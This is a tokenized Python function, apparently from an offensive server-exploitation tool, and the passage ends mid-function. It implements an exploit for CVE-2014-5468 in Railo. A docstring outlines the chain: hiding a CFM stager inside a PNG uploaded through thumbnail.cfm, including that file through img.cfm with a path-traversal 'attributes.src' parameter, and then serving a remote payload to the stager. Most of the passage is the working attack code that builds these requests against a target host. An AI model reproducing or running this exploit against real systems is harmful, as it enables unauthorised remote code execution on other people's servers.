#NEWLINE# def deploy( fingerengine , fingerprint ) : #NEWLINE# #INDENT# ' \n    Exploits CVE-2014-5468\n\n    Details in blogspot, but tl;dr:\n        a) Invoke thumbnail.cfm with a valid PNG image that has our CFM stager\n        embedded into it.  The extension of the file must also be a .CFM, and\n        the height/width must be larger values to prevent Railo from\n        modifying and removing the payload.\n\n        b) Invoke img.cfm with thistag.executionmode=start and attributes.src\n        set to the previously written file, which will be HASH.cfm.\n\n        c) catch stager request and serve up payload.\n    ' #NEWLINE# cfm_path = abspath ( base . options . deploy ) #NEWLINE# cfm_file = parse_war_path ( cfm_path , True ) #NEWLINE# dip = fingerengine . options . ip #NEWLINE# os = fingerengine . options . remote_os #NEWLINE# utility . Msg ( 'Preparing to deploy {0}...' . format ( cfm_file ) ) #NEWLINE# base = 'http://{0}:{1}' . format ( dip , fingerprint . port ) #NEWLINE# tn = '/railo-context/admin/thumbnail.cfm?img={0}&height=5000&width=5000' #NEWLINE# pl_file = load_file ( ( base + tn ) , cfm_file , os , fingerprint . version ) #NEWLINE# if ( not pl_file ) : #NEWLINE# #INDENT# return #NEWLINE# #UNINDENT# jsl = '/railo-context/admin/img.cfm?attributes.src=../../../../temp/admin-ext-thumbnails/{0}&thistag.executionmode=start' #NEWLINE# if ( not invoke ( ( base + jsl ) , cfm_path , os , fingerprint . version , pl_file ) ) : #NEWLINE# #INDENT# return